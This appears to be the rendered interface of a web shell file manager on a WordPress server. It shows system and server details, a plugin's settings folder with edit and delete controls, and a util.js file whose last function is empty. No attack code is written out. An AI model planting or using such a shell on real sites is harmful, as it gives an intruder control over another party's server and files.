[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
settings
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 components
SET
[ DEL ]
📁 pages
SET
[ DEL ]
📁 scss
SET
[ DEL ]
📁 store
SET
[ DEL ]
📄 app.js
4,049 B
SET
[ EDIT ]
|
[ DEL ]
📄 entities.js
737 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.js
265 B
SET
[ EDIT ]
|
[ DEL ]
📄 routes.js
164 B
SET
[ EDIT ]
|
[ DEL ]
📄 settings.js
2,431 B
SET
[ EDIT ]
|
[ DEL ]
📄 settings.scss
3,442 B
SET
[ EDIT ]
|
[ DEL ]
📄 util.js
606 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: util.js
const { useSelect } = wp.data; export const getSettings = () => { return useSelect((select) => { return select("presto-player/settings").settings(); }); }; export const getSetting = (group, name) => { const settings = getSettings(); if (name) { return settings?.[`presto_player_${group}`]?.[name]; } return settings?.[`presto_player_${group}`]; }; export const isEmptyObject = (object) => { return !Object.values(object).some((x) => x !== null && x !== ""); }; export const makeIntegrationRequest = async ( Path, data = {}, message = __("Success", "presto-player") ) => {};